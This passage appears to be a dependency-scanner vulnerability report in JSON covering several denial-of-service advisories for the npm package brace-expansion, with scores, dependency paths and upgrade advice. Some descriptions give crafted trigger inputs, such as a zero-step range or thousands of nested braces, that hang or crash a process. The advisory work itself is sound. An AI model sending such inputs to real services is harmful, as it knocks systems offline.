"high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": 